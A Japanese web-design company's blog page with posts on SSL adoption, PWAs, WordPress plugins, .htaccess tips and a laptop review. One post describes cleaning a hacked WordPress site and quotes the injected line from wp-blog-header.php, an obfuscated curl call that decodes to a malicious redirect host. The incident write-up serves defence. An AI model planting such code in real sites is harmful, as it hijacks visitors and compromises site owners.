06-6777-3688
大阪のホームページ制作会社【ファ  ーストネットジャパン】BLOG

BLOG

いいね! facebook twitter

Google Chrome SSLの必須化

さて今回はSSLの話をしたいと思います。
Google ChromeではWEBサイトの全ページ常時SSL化を支持しています。
段階的にではありますがchrome上でバージョンアップごとに警告のレベルを上げてきています。

2017年1月から非SSLページにて、パスワードやクレジットカード情報などの入力時に警告が表示されるようになり、10月にはフォームやテキストボックスに文字を入力しただけで警告が表示されるようになりました。
これらの施策がさらに1段階強化され、2018年7月よりSSL化されていない全てのサイトに対して警告が表示されます。

SSLの説明

ではそもそもSSLってなに?という方もいらっしゃるかもしれませんので簡単に説明します。
SSLはSecure Sockets Layerの略でインターネット上で通信内容を暗号化する仕組みです。
WEB上ではサイトのページを開くごとにデータの送受信がされています。
その際にたとえば「こんにちは!」と書かれたページを見る場合当然ながら「こんにちは!」という文字を表示するためのデータをあなたのパソコンに送っています。
またネットショップなどで買い物をするときに個人情報を入力したデータに関してもサーバーパソコンへ送っています。
そのデータを送る際にデータを暗号化するというのがSSLなのです。
普通のページを見るだけなら暗号化する必要性というのはあまり感じられないかもしれませんが、
個人情報(パスワードとかクレジットカード情報など)は暗号化しないとデータの送信中に盗聴され、簡単に個人情報が取られてしまいます。

Googleの調査による世界のSSL化状況

Googleの調査よると、現在WebサイトのSSL化の状況は以下のようになっています。
引用:https://webmaster-ja.googleblog.com/2018/02/a-secure-web-is-here-to-stay.html
AndroidとWindowsにてChromeを使用するトラフィックの68%以上はSSL化されている
Chrome OSとMacにてChromeを使用するトラフィックの78%以上はSSL化されている
世界のトップ100サイトのうち81サイトがデフォルトでSSL接続をしている

常時SSL化のメリット

<<安全性>>
言わずもがな情報の安全性です。
SSLは通信の暗号化です。暗号化を活用することで、第三者からのデータの盗聴やパケットデータの改竄を防止できます。
(盗聴というのは入力フォームに入力したパスワードやクレジットカードの情報を盗むことができるということです。)

<<信頼性>>
SSLはレンタルサーバーなどが代理店となりSSL認証局からSSLサーバー証明書が発行されます。(無償のものから有償のもの)
この証明書をもって他サイトの「なりすましサイト」ではないことを証明できるのです。

<<SEOに有利>>
SSL化をすればSEO上有利とされています。

<<アクセスできなくなる>>
これはChromeのさじ加減なのですが今後サイトにアクセスできなくなるという可能性があります。
また検索エンジンにすら表示されなくなるということも考えられます。
そうなるとサイト運営としては致命傷ですのでメリットというよりはやらないとまずいということになります。

警告をださないようにする


わたしがインターネットを見ている限りまだまだ非SSLのサイトは多く見かけます。
このまま放置していると検索エンジンに表示されなくなったり、訪れたとしても閲覧できなくなり運営者としては困ることになると思います。
警告をださないようにするには全ページのSSL化が必須となります。
では全ページのSSL化というのはどうすればいいのか?ですが
・サイト内のCSSやJS、imgのパスをすべて相対パスに変更する
・外部からのインクルードの場合は外部の絶対パスをhttpsにする。外部サイトがSSL化されていない場合は利用をしない。
・サーバーからSSL認証を購入する。(無料、有料と様々)
・htaccessを使って非SSLからリンクされていたとしてもSSLに強制的にリダイレクトさせる
・名刺など印刷物の変更(徐々に)
簡単にいえばこんな感じです。

あなた(or顧客)のサイトは大丈夫ですか?

現在配布されているChrome 70では「保護されていません/保護されていない通信」のどちらかが表示されます。SSL証明書を導入しているにも関わらず、サイト内の一部コンテンツが非httpsになっている場合、アドレスバー上はhttpsと表示されますが「保護された通信」の表示は出ません。完全にhttps化されている場合、「保護された通信」が表示され、EV証明書の場合は組織名が表示されます。

無料証明書であるLet’s Encrypt

Googleの流れを受け各社レンタルサーバーでは Let’s Encryptという名の無料SSLを提供しています。
一般のサイトであればこれで十分だと私は思っています。
個人情報を取得したり大手会社であればもっとレベルの高い高額なSSLをお勧めします。

常時SSL化のお手伝い

もしSSL化をすべきサイトがありましたら弊社でもサポートさせていただいております。
通常の静的サイトから動的サイト(WordPressなど)まで料金はかわりますが
4万円~となっておりますのでもしそういった案件がございましたらご相談ください。

2018年11月26日 Read more

PWA(プログレッシブwebアプリ)について

弊社では最近html5をつかったスマホブラウザアプリに力を入れています。
プログレッシブwebアプリ=PWAが今後主流になってくるという話もありネイティブアプリ(スマホアプリ)は今後廃れていくと私は考えています。
弊社のメイン事業はWEB制作業務でその中でもコーディングという部分でありますます需要はあるのではないかと思っています。
今回のお話はPWA(プログレッシブwebアプリ)についての話題です。

PWAとは

PWA(Progressive Web Apps=プログレッシブウェブアプリ)はグーグルがスマホユーザーの操作性を目的とし、今までのWebアプリにWebとアプリの両方の利点を兼ね備えた仕組みのことです。

PWAのメリット

・インストールしなくてもよい
 ブラウザでネイティブアプリと同内容のことができるので、インストールの手間や容量の心配をしないですみます。この手間が省けることによって離脱率も改善されると考えられています。


・レスポンス向上によるユーザーのストレス軽減
 Webサイトに比べて速度が断然早いので、ユーザーがサイトを見ている際に、「重い」と感じることが少なくなります。


・プッシュ通知が可能になる
 今まではアプリならではの機能であるプッシュ通知が、WEBアプリでも受け取れます。


・オフラインでも可能
 インターネットにつながっていなくてもキャッシュを使ってオフラインでも利用できます。


・アップデートが不要
 アプリの場合ことあることにアップデートがありその都度何メガもあるファイルをダウンロードしどんどん容量を使います。WEBアプリももちろんアップデートはありますがネイティブアプリのように更新ファイルをダウンロードするようなことはないのでいろいろな点でストレスが軽減されます。


・言語がhtml5+Js+CSSで開発できるのでJavaとObject-Cとかそれぞれの言語で開発する手間が省けます。

感想

windowsのネイティブアプリがどんどん減少してしるようにスマホでも減少していくのは間違いないと思います。
(ただ残念なことに今現在iPhoneでは完全にPWAが対応しているとはいいがたい状況です。)

そういった世間の状況を鑑み弊社でいま力を入れているのがWEBアプリのゲームです。
今までネイティブアプリで動いていたものがhtmlコーディングでゲームを作ることができます。
まだまだ実績はすくないですが可能性は無限大です。
もしWEBアプリとしてゲームを考えているかたはぜひともご相談ください!

 

2018年10月1日 Read more

WEB制作会社が便利と思うWPプラグイン

今回は弊社が過去に使ったことがある便利なWordpressのプラグインを紹介いたします。
ざっくりと概要をお伝えしますので細かい仕様や設定方法などは他のサイトで検索してみてください。

アイキャッチを自動的に設定する

auto post thumbnail

このプラグインはアイキャッチを自動的に設定してくれるプラグインです。
どのように自動的に設定してくれるかというと、ブログ記事内の最初に配置した画像を「アイキャッチ画像」として設定します。
アイキャッチ画像を毎回設定する癖がついてひる方にはあまり意味はないかもしれませんが、
Wordpressに慣れていないエンド様などに納品する際にはインストールしておいてあげれば便利かもしれません。

SNSボタンを表示

WP Social Bookmarking Light
AddToAny Share Buttons

最近多くのSNSが増えてきてどのブログもイイねボタンとかシェアボタンとか配置していますよね。
各社のタグをいちいち張り付けていると大変ですよね。
そこで便利なのがこの「WP Social Bookmarking Light 」や「AddToAny Share Buttons」です。
このプラグインの優れいているところは初心者にも設定がしやすいことです。
「AddToAny Share Buttons」のほうはSNSの量が100以上あるので選び放題ですがそのあたりはまあたくさんあっても使わなければ意味ないので最終的にはデザインとか使い方の好みで選んでみてください。

エディタをよりべんりにする

TinyMCE Advanced

このプラグインは通常のWPの投稿エディタではない編集ボタンが備わっていることです。またカスタマイズ性に優れいています。
そのカスタマイズ性というのは自分が使うボタンだけを配置できるもので不要なものは非表示にしておけます。
また、表の挿入(編集)、YouTubeの挿入、画像の回りに余白を挿入なども可能になります。
これは入れておいて間違いないでしょう!

定型文やコードをボタン1つで挿入できる

AddQuicktag

こちらのプラグインは上の「TinyMCE Advanced 」のエディタモードではなくテキストモードで使うプラグインです。
「TinyMCE Advanced 」で便利なエディタに慣れてきたらさらにいろいろなタグを使って装飾できないかなと思うものです。
<b>や<strong>などその他のタグを事前に登録していれば簡単に挿入できます。
「TinyMCE Advanced 」ではできないタグを設定しておけますし、よく使う署名や定型文を設定しておけば簡単に記事に挿入できます。
「TinyMCE Advanced 」とあわせて入れておけばかなり便利になりますね。

人気記事をランキング的に表示させる

WordPress Popular Posts

投稿記事を人気順にランキング形式で紹介してくれるプラグインです。
記事PVを集計し、設定した期間で記事アクセスの多かった記事を自動で表示してくれます。
またPVを集計するため記事事にPVを表示することも可能になります。

この記事を書いた人は〇〇です。

Fancier Author Box

このプラグインは記事ページに投稿者のプロフィールを表示できるプラグインです。
複数のメンバーが記事を投稿する場合など記事の編集者を表示させたいですよね?
ブログの記事の下部でよく見かける「この記事を書いたのは山田です」みたいなやつですはい。

目次をつける

Table of Contents Plus

このプラグインはこのブログでも使っている目次が簡単にできるプラグインです。
投稿記事や固定ページの中に<h1>~<h6>のタグを設定することでそれが自動的に目次になり簡単にその記事へアンカーリンクしてくれるものです。
目次が自動生成されるので、手動で目次を作成して更新したり、アンカーリンクを張る手間が省けます。
目次はユーザーが記事の概要を把握しやすくなるので読み手には便利となり効果がありますよね。

またちょっとカスタマイズしてこのブログのようにデザインを凝ればかっこよくすることもできますよ!

アクセス制限(BASIC認証)をかける

WP Basic Auth

このプラグインは、管理画面と静的ファイル以外を閲覧する時に Basic 認証をかけることができるプラグインです。
このプラグインのいいところはBASIC認証のユーザーIDとパスワードが、WordPress管理画面のユーザー名とパスワードと同じになっている点です。そのため別々に設定するという手間が無くて済むので効率的なのです。

記事にプログラムコード的な表示ができるプラグイン

Crayon Syntax Highlighter

このプラグインは一般のブログでは使うケースは少ないと思いますが我々の業界の場合htmlコードとかphpコードとかを表現したい場合があります。
そんな時にコードをきれいに表現してくれるのがこのプラグイン。
各種プログラム言語に対応していてその言語の関数などを色分けしてくれます。
ATOMとかDreamWeaverのようにコードがハイライトされプログラムエディタのように表現されるので私は個人的に気に入っています。

 

いかがでしたでしょうか?

この記事はわたしなりに便利だなーとおもったものを集めて書いてみました。
ただ間違ってはいけないのはこの記事やネットとかで書かれているプラグインを使わないのにたくさんインストールはしないこと
利用するプラグインの数が多すぎると、プラグイン同士が影響し合い、エラーが発生したり、重くなることがあります。
本当に必要なプラグインだけをインストールして利用しましょう。

2018年6月9日 Read more

突然Wi-fiが繋がらなくなった!

昨日5/11にWindowsのアップデートがあったのですが、その後急に自宅のWi-fiに接続されなくなったのでその対応策を備忘録としてそして同じ症状でお困りの方のために発信します。

 

Window10のアップデートによりWi-fiがつながらなくなった場合の対処法

今回の症状と環境

・パソコン機種 HP Spectre x360 Convertible  OS:Windows10
・ルーター Buffalo WSR-2533DHP
・その他のスマホ、ゲーム機などは問題なし

実行してみたがうまくいかなかった方法

今回ネット情報を調べていろいろ対応したのですが全然うまくいかず非常にこまりました。
ただ今は自分のパソコンがインターネットにつながらなくてもスマホでネット検索できるようになったのでいい時代になりました。
少し前まではもう一つのパソコンとかで調べないといけなかったので・・
ネットで調べた際にやってみた方法

・パソコンの再起動(Windowsの再起動をする場合通常の再起動ではなくshift+再起動で完全再起動をしました。)
・ルーター・モデムなどの再起動。(電源の入れなおし)
・ルーターのリセットでプロバイダの再設定
・Windowsのシステムの回復
・インターネットのトラブルシューティング

ヒューレードパッカードに電話

もういろいろなことを試したのですがにっちもさっちもいかなかったのでサポートに電話しました。
Winodws10のUPDATE後にWi-fiが繋がらなくなったと伝えるとすでに他の方から症状があったようでさくっと解決しました。
その方法がこちら

ネットワークアダプターの再インストール

Windows画面の左下にあるWindowsロゴを右クリックするとデバイスマネージャーという項目があると思います。
こちらをクリックして「デバイスマネージャー」ウインドウを開きネットワークアダプターの「>」マークをクリックすると下のような画像になります。
デバイスマネージャー

ネットワークアダプターの3つ目にある「Intel(R) Dual Band Wireless-AC 8265」という項目を右クリックして「デバイスのアンインストール」をクリックします。
注意:次のアラート画面で「このデバイスのドライバーソフトウェアを削除します。」はチェックを入れないようにしてください。

アンインストール後にWindowsの再起動をしたらWi-fiが繋がるようになりました。

感動です。

4時間くらいかけて夜遅くまでいろいろやったのにサポート電話で5分ほどで解決。
いやーー助かりました・・・HPサンキュー!

同じような症状の方は試してみてください!

2018年5月12日 Read more
wordpress改竄イメージ

WordPressの改ざん(マルウェア)

今回のテーマはWordpressの改ざんによるウイルスを仕込まれたお話です。
あるお客様でホームページがウイルスに感染したという事例をご紹介します。

wordpress改竄イメージ

ホームページがアダルトサイトに矯正リダイレクト

先日、突然新規のお問い合わせがあり非常に慌てた様子でご相談があったのです。
そのお客様のお話では自社のサイトがおかしなことになっているということで詳しく話をおききしたところ
よくある「会社情報」とか、「プライバシーポリシー」とかいわゆる下層ページがアダルトサイトになっているというのです。
実際そのサイトにアクセスするとトップページは正常なのですが、下層ページをクリックすると
別ページに矯正リダイレクトされアダルトサイトにいくではありませんか・・・

原因はWordpressだった

お客様のお話を詳しくおききしたところWordpressというものを使っている。
以前つくってもらった制作会社は倒産してどうしようもないので至急どうにか直してほしい。
この症状が出たのはおそらく最近で先週に見たときはこんなことはなっていなかった。

というご相談でした。
ということで依頼をいただき早速調査開始。ネットからの情報を得ようと検索したのですが見つからず。
まずはWordpressにログインして投稿、固定ページなどあらいざらい確認したのですが特におかしなところが発見できませんでした。

つぎにFTPでサーバーにアクセスしてみました。
ファイルをすべてダウンロードしてとりあえずウイルスソフトでスキャンをかけてみましたがなにも検知できませんでした。

ではお客様の相談内容からして最近発覚したということなのでファイルのアップデートのタイムスタンプを調査。
すると数日前に更新されているファイルを発見。それがWPの上位階層にある「wp-blog-header.php」でした。
このファイルはデフォルトでは350バイトほどしかない少量のサイズなのに1600バイトというサイズ。
むむむ!!あやしい。おそらくこれだ!わたしはファイルをテキストエディタで開いてみました。

「wp-blog-header.php」が改ざんされていた!

ソースコードの改竄イメージ

追記というか改竄です。
「wp-blog-header.php」の改竄されたコードがこちら

で、デフォルトはこちら

強制的にリダイレクトさせる

この改竄されてコードで核心の部分は
$ch = curl_init($at("aHR0cDovL2RvbWZvcnVsdHJhZG9ycy5jb20v") . "15661992802f193eb068b4093544eb55" . $p);
↑ ここ。


一見なにかわららないがデコードすると、
http://domforultradors.com/15661992802f193eb068b4093544eb55
となりこのhttp://domforultradors.com/に飛ばしているわけです。
このジャンプ先のアダルトサイトで何を目的としているのはこれいじょう深入りするのも怖いのでわかりませんが
フィッシングなのか、ウイルスなのか・・・

解決方法

解決方法ですがデフォルトの「wp-blog-header.php」に差し替えたら問題なく以前のようにもどりました。
ちょっとこれで様子を見ることになりました。

原因は?

このファイルが改ざんされた根本的な理由はまだわかっていません。
・考えられるのはプラグインの脆弱性をつかれた。
・FTPやWP管理画面のパスワード、が甘いので不正ログインされた。
・・・
などかと思います。

あとがき

今回のマルウェアに関する情報は日本語ではみつけることができなかったのですが海外の方が書いている記事があり翻訳して同様の症状のかたもいるということはわかりました。
WordPressは便利なソフトではありますが素人が管理するのは非常に難しいですし大変です。
制作会社にメンテナンスを依頼してWPを最新の状態に更新しておくことが大事なんだろうとおもいます。

今回はこのへんで。

2018年4月5日 Read more

インスタグラムのAPIサービスが終了

3月に入りましてだいぶん暖かいきざしが見えてきました。
ただ暖かい日と寒い日が続くまさに三寒四温の季節です。花粉も飛びやすくアレルギーの人には嫌な時期ですね。
寒暖アレルギーのあるわたしとしてもなかなか厳しい時期ですので風邪をひかれないようご自愛くださいませ。


ところでご存知でしたでしょうか?
インスタグラムのAPIサービスが終了するということらしいですね。
英語での案内になるのですが
https://www.instagram.com/developer/
こちらに書かれています。

おいおいってな感じですよね。
これだけ世の中に浸透してきてディベロッパーもやっと覚えてきてサービスとして提案してきた矢先勝手だな・・・
(さすがFacebookってな感じです・・・)

簡単に言いますとInstagram APIが随時廃止していくから、新しく用意した、Instagram Graph APIを使っていけと(笑)

Facebookの開発者向けニュースに書かれています。
https://developers.facebook.com/blog/post/2018/01/30/instagram-graph-api-updates/

これをGoogle翻訳でざっくり訳してみました。
———————————————————————-
Instagram Graph APIのスタートとInstagram API platformの非推奨
1月30日 Instagram Graph APIに3つの新機能を追加し、企業がInstagram上のオーガニックプレゼンスをよりよく管理できるようにしました。
APIの変更の一環として、2018年7月31日から2年間にわたって古いInstagram API platformの使用を廃止する予定です。
古いInstagram API Platformは3段階で廃止され、2020年初頭には廃止予定となります。

以下の内容は2018年7月31日まで利用可能です:

フォロワーリスト – フォロワーとフォロワーのリストを読み込み
リレーションシップ(Relationships) – ユーザーに代わってアカウントのフォローとフォロー解除を行う
公開コンテンツにコメントする – ユーザーの公開している写真や動画でコメントを投稿したり削除したりする


以下は2018年12月11日まで利用可能です:

コメント – コメントを投稿&削除する
パブリックコンテンツ – ユーザーのプロファイル情報と写真や動画を読み取る
いいねの登録の解除
サブスクリプション – 写真や動画に対して投稿があったときの通知


2020年の初めまで、次のものが利用可能になります:
基本 – ユーザーのプロフィール情報と写真や動画を読む
(全機能終了)

で、その後はInstagram Graph APIを利用しなさいとおっしゃるわけですよ、FBさんは・・
現在、Instagram Graph APIでは、ビジネスアカウントの情報のみ利用でき、非ビジネスアカウントの情報は利用できない。
情報は公開されたけど、まだまってろということだそうです。

あちゃーーなんかよくわからないし面倒くさい感じがして・・・
ちょっと引き続き注視していかないといけないようです。

2018年3月5日 Read more
ファーストネット翻訳サービスのロゴ

翻訳サービスについて

弊社はWEB制作会社でありWEB関連の事業をサポートさせていただいております。

そのWEB関連サービスを細分化すると
WEBデザイン、htmlコーディング、WEBシステム(php、CGIなど)、翻訳
のという4つのサービスで展開しております。

今回は翻訳のサービスについてお知らせします。

グローバルな企業や外国人を招きたいサービスならWEBの多言語化は必須です。
ホームページを考えられる際には英語や中国語などの複数言語の対応も考えらてみてはいかがでしょうか?
弊社では英語・中国語・韓国語など主要な言語はもちろん、フランス語・ドイツ語・オランダ語・イタリア語・ロシア語・スペイン語・ポルトガル語・タイ語・ベトナム語の翻訳も対応可能です。

弊社は数百人のフリーランスの翻訳者を常時確保しておりまして
多種多様な言語を翻訳できる翻訳代行会社として業務をしております。

弊社の特長は、安い・早い・高品質でございます。
その理由として、
徹底した効率化による経費削減で実現したローコスト。
多くの翻訳者を抱えることによる安定したスピード納品。
専門分野の翻訳でも多くの実績をもった翻訳者を多数確保。
などでございます。


【過去の翻訳実績】
WEB、・医学論文・製品マニュアル・戸籍謄本、契約書、機械工学系論文、小説・エッセイ・映像和訳
電通様、経産省、日野自動車様、ボルボ自動車、名鉄観光様・NHKなど大手企業の実績も多数ございます。

WEBの多言語化による翻訳だけではなく、通常の紙面上の普通の翻訳ももちろん行っております。
最近では訪日外国人のために飲食のメニューであったり、フロアガイドなども増えてきております。

費用感など詳しいことは弊社の翻訳サービスで掲載しておりますのでご興味のある方は是非!

翻訳サービスの詳細はこちら

2018年2月2日 Read more

各種htaccessを集めてみた

今日はhtaccessのお話をします。ホームページを制作している上でかかせないのがhtaccessです。

今回はこのhtaccessを取り上げて便利なものをアップしておきたいと思います。
そもそもこのhtaccessってなんぞやということですがWeblioには以下のような記述になっています。

.htaccessとは、WebサーバーのApacheにおける、サーバーのディレクトリごとの設定情報を記しておくためのファイルのことである。分散設定ファイルと形容されることもある。

.htaccessに記述された設定情報は、.htaccess自体が設置されたディレクトリと、その下位階層に位置したサブディレクトリに対して有効となる。設定可能な内容としては、パスワードの設定(Basic認証)、特定のホストコンピュータからのアクセスの拒否、Webページのリダイレクトなどを挙げることができる。

Apacheにおけるメインの設定は、httpd.confと呼ばれる設定ファイルによって行われる。httpd.confは、Webサーバーの管理者(スーパーユーザー)によってのみ編集や更新が可能である。httpd.confの設定によって、.htaccessで設定できる内容を制限することもできる。

要するにホームページを表示する際にサーバー上でいろいろな設定や制御をすることができるのだけれどもhttpd.confというメインとなる設定ファイルを触ってしまうと壊れてしまう可能性があるのでhtaccessというファイルで他のディレクトリに影響をうけることなく設定できますよ、というもの。
設定できることはいろいろありますが今回は以下の内容を紹介します。

<<目次>>

  • ・パスワード認証(Basic認証)
  • ・CGIを動作するようにする
  • ・index.htmlやindex.phpなどをデフォルトのトップページにする
  • ・PC・スマホ・ガラケーの場合別ページへのジャンプ
  • ・SSLページに強制的に切替
  • ・www有り無しを統一
  • ・404エラー(not found)の表示

パスワード認証(Basic認証)

Basic認証はホームページにブラウザでアクセスした際にIDとパスワードを求められるよくあるアレです。

1).htaccessファイルに以下のように記述

“/絶対パス/.htpass”はサーバー上のフルパスになります。例えば/home/user/saito/とか/var/www/httpd/などです。
サーバーによって異なりますのでレンタルサーバーに聞いてみてください。

2).htpassに以下のようにパスワードを記述

書式は”ユーザーID(英数)/暗号化されたパスワード”です。
パスワードは必ず暗号化される必要があります。例えば0000というパスワードの場合「ke9659oc.G6s」のようになります。パスワードの変換に関してはパスワード生成CGIを同梱していますのでそちらを利用してください。

ダウンロード:basic認証用htaccess
※設置方法の説明書も入っています。

CGIを動作するようにする

このhtacessはサーバーでCGIが動くようにするものです。
最近のレンタルサーバーではCGI(perl)が動作しないなんてサーバーはほぼ無いと思いますが、プランによって動作しないものがあります。
たとえば専用サーバー(root権限が与えられている)やVPS、cgi-binでしかCGIが動作しないサーバー。
もしブラウザでCGIにアクセスした際にブラウザ上ににソースがそのまま出力されていたらこれを使ってみてください。

1)htaccessを該当のディレクトリにアップロードしてください。
Internal Server Errorが出たらそもそも使ってはいけないサーバーですのでサーバー会社に問い合わせてください。

.htaccessの書き方

ダウンロード:CGI用htaccess

 

index.htmlやindex.phpなどをデフォルトのトップページにする

ホームページを見ているとファイル名が表示されないいわゆる/で終わっているURLがあります。
たとえばhttp://www.1st-net.jp/とかhttp://www.yahoo.co.jp/とか下層ページに於いても同じでhttp://www.google.co.jp/sample/など
ファイル名で終わる場合というのはhttp://www.yahoo.co.jp/sample1.htmlなどのように最後に.htmlという拡張子が付く場合のことをいいます。

じつはこれhttp://www.1st-net.jp/というのはhttp://www.1st-net.jp/index.htmlのようにファイルがあるんだけれどもURLを短くするためにindexを省略しているんですね。今時ホームページのURLがhttp://www.yahoo.co.jp/index.htmlなんかになっていたらかっこ悪いですよね。それを省力するためのhtaccessになります。

以下の例ではindex.html > index.cgi  > index.php > index.shtml の優先度でページがファイル名なしで出力されます。
ファイルを上記のように複数記載することはOKです。いろいろなディレクトリで汎用的につかえるため複数記載しています。

.htaccessの書き方

ダウンロード:ディレクトリインデックス用htaccess

 

PC・スマホ・ガラケーの場合別ページへのジャンプ

このhtaccessを使ってパソコンサイトにアクセスしたスマホーユーザーをスマホ専用ページに自動的にジャンプさせるものです。
たとえばhttp://www.hogehoge.com/ → http://www.hogehoge.com/sp/ へジャンプのようになります。

.htaccessの書き方

ダウンロード:スマホ切替用htaccess

ちなみに旧来のガラケーの場合の切り替え用
.htaccessの書き方

ダウンロード:ガラケー切替用htaccess

 

SSLページに強制的に切替

昨今セキュリティ上の観点からSSLのサイトに切り替えるところが増えてきました。
GoogleもすべてのページにおいてSSLにするよう勧めていますのでこのhtaccessをつかってhttpでアクセスしてもすべてhttpsに自動的に切り替えてくれるようにしてみましょう。
※サーバーで独自SSLは購入する必要はありますのでご注意を。

.htaccessの書き方

ダウンロード:SSLジャンプ用htaccess

 

www有り無しを統一

URLでwwwがあるサイトと無いサイトがあります。どちらのURLでもOkという場合ならいいのですがSEOの絡みや名刺に書く手前どちらからに統一したい場合があります。
その場合に使えるhtaccessです。

.htaccessの書き方

・wwwありのURLに統一したい場合

・wwwなしのURLに統一したい場合

ダウンロード:www有り無し用htaccess

 

404エラー(not found)の表示

googleのSearch Consoleにおいて404ソフトエラーというものが出ていませんか?
それが出ているということは404エラーをgoogleロボットさんにレスポンスしていないということです。SEO的にははっきりはしませんが改善されたほうがいいと思います。

.htaccessの書き方

ここでミソなのが”/404.html”の部分をドキュメントルートからの絶対パスで書くこと。http付きのURLでも404は表示されますがGoogleはそのステータスを受け取れないのでNGです。
NG:http://sample.com/404.html
もちろん404.htmlというファイル名は別にerror.htmlというようにしてもOKです。ファイル名は任意です。

ダウンロード:404エラー用htaccess

以上です。
よかったら使ってみてください。

今日はこのへんで。

2017年11月15日 Read more
HP Spectre x360サムネイル

HP Spectre x360ゲット

 10月にはいりましてすっかり寒くなってきました。
さすがにまだこたつとかヒーターってことはないのですが、
うちの田舎ではストーブは出したようで、夜はほんと冷え込むみたいです。
 
夜冷え込むというのはこの時期まさにそうで、お昼と夜の寒暖差がすごいですね。
私が幼少のころから寒暖差アレルギーという症状をもっており季節の変わり目はほんときついのです。
 
この寒暖差アレルギーって子供のころはなかった名称のようでここ10年くらいまえに発覚しました。
花粉症のような鼻水が出る症状やときどきじんましんがでます。
医者にこのアレルギーのことを申告すると、寒暖差アレルギーかぁ、これよく発見したよなー・・・と言われるほど。
多かれ少なかれみなさんアレルギーありますよね?長い人生アレルギーとはうまく付き合っていかないとしんどいですね。
 
 
さて昨日ノートパソコンを手にいれました。
ヒューレートパッカードの[HP Spectre x360]という機種です。
 
HP Spectre x360ノーマル
 
自宅のDELLのノートもMacAirもメモリが4Gでもうスペック的に限界だったので、宮川大輔風に「これええやつやん!」的なものを選んでみました。
いやーノートPCも安くなりましたね・・・20年前はノートPCだと20万はしてたのに。
 

【主な構成】
HP Spectre x360 156,000円(税別)
13.3インチワイド
色:ナチュラルシルバー
Windows 10 Home (64bit)
インテル Core i7-7500U プロセッサー
タッチディスプレイ
メモリ:16G
512GB SSD 重量1.31kg

 
実際触ってみての感想として、まずは起動が恐ろしく速い!サイトに書いていたのでどうかなとはおもいましたが、実査しストップウォッチではかったらほんとに10秒!
SSDってすごい。
(まあ何もアプリ入れていない状態なんであれこれ入れていくと遅くなっていくんでしょうけど。)
 
Windows7を使い続けていたわたしからするとWindows10はやや戸惑いはありつつも、色々ためしていきたいとおもっております。
 
【顔認証】
さっそくですが起動時からの顔認証をテスト。
自分の顔を登録してみました。しかーし自宅で眼鏡をかけて認証したら開かないではないか・・・
眼鏡をかけている場合は眼鏡バージョンを登録しろとのこと。うーーん認識ベベルこれはいかがなものかと・・・眼鏡くらい突破してくれよ。
 
【音声認識】
Windows10に搭載されているAIアシスタントコルタナを使ってみました。
iPhoneでいうところのSiriですね。
siriへの質問も面白いですが、コルタナへこんな質問をしてみた。
私:「siriについてどう思う?」
コルタナ:「皆さんの生活を少しらくにしようと頑張っているのですから、カッコイイとおもいます。」
 
私:「OKグーグル」
コルタナ:「googleもOKなのですが、私はCortanaです。」
などなどSiriばりにおもしろ回答みたいです。
 
【タブレット機能】
この機種はディスプレイ部分ががっちり裏にまで回り込みタブレットのようになります。
その為当然ではありますが、スマホやタブレットのように自動回転をします。
タッチももちろんできるので打合せやプレゼンにいいです。
HP Spectre x360タブレット切替時
【デザイン】
このマシンを選んだ理由は軽さとデザイン。今までのWindows機の場合ダサかったんですけど
Macレベルに追いついた感じがします。dellもMs-surfaceもどんどんデザインがよくなってきてますね。
あいかわらず日本メーカーはいけてないような気がするのはわたしだけでしょうか。
さらにいえばMacBookより優れいている点で言えばフレームレス。
フレームがほんと細い!これは感動もんです。
HP Spectre x360
【ディスプレイ】
4Kディスプレイではないにしてもきれいです。13インチなら気にする必要はなし。
 
今どんどんアプリや設定をしていますがワクワクします。
新しいPCを買った時はいつもこんな感じで楽しんでおるわたくしでございます。
 
もし面白い機能があれば追加シていこうかと思っています。
 
今日はこの辺で。
2017年10月20日 Read more
htmlコーディングサービス

コーディング下請けサービス

ファーストネットジャパンではホームページ制作会社様・広告代理店様・デザイン会社様などWEB制作の業務をおこなっている会社様向けにhtmlコーディングの下請けをうけたわまっております。
WEB制作に特化して20年の会社だからこそできる高品質のhtmlコーディングをぜひとも弊社にお任せください!

 

ファーストネットコーディングサービス

 

こんなお悩みはありませんか?

チェックマーク 案件が多く社内の人的リソースが不足している。
チェックマーク 社内にデザイナーは多いがコーダーがいない
チェックマーク コーディングの進化が早くついていけず困っている。
チェックマーク 既存の外注先のコーディングコストが高い
チェックマーク WordPressの知識が乏しい。
チェックマーク コーディングの知識はないが印刷物とあわせてコーディングまで頼まれてしまった。

 

コーディングやWordpress/MovableTypeなどでお困りの法人様・個人企業様!
人的リソースを取られがちな業務は弊社にお任せください。

高品質でお安くコーディングを提供させていただきます。

料金はお安く提供させていただいている兼ね合い上WEBでの告知を控えさせていただいております。

ご興味のある方は弊社の外注依頼フォームよりお問い合わせください。詳しい資料を送付させていただきます。

 

外注依頼のお問い合わせはこちら

 

コーディングイメージ

2017年10月1日 Read more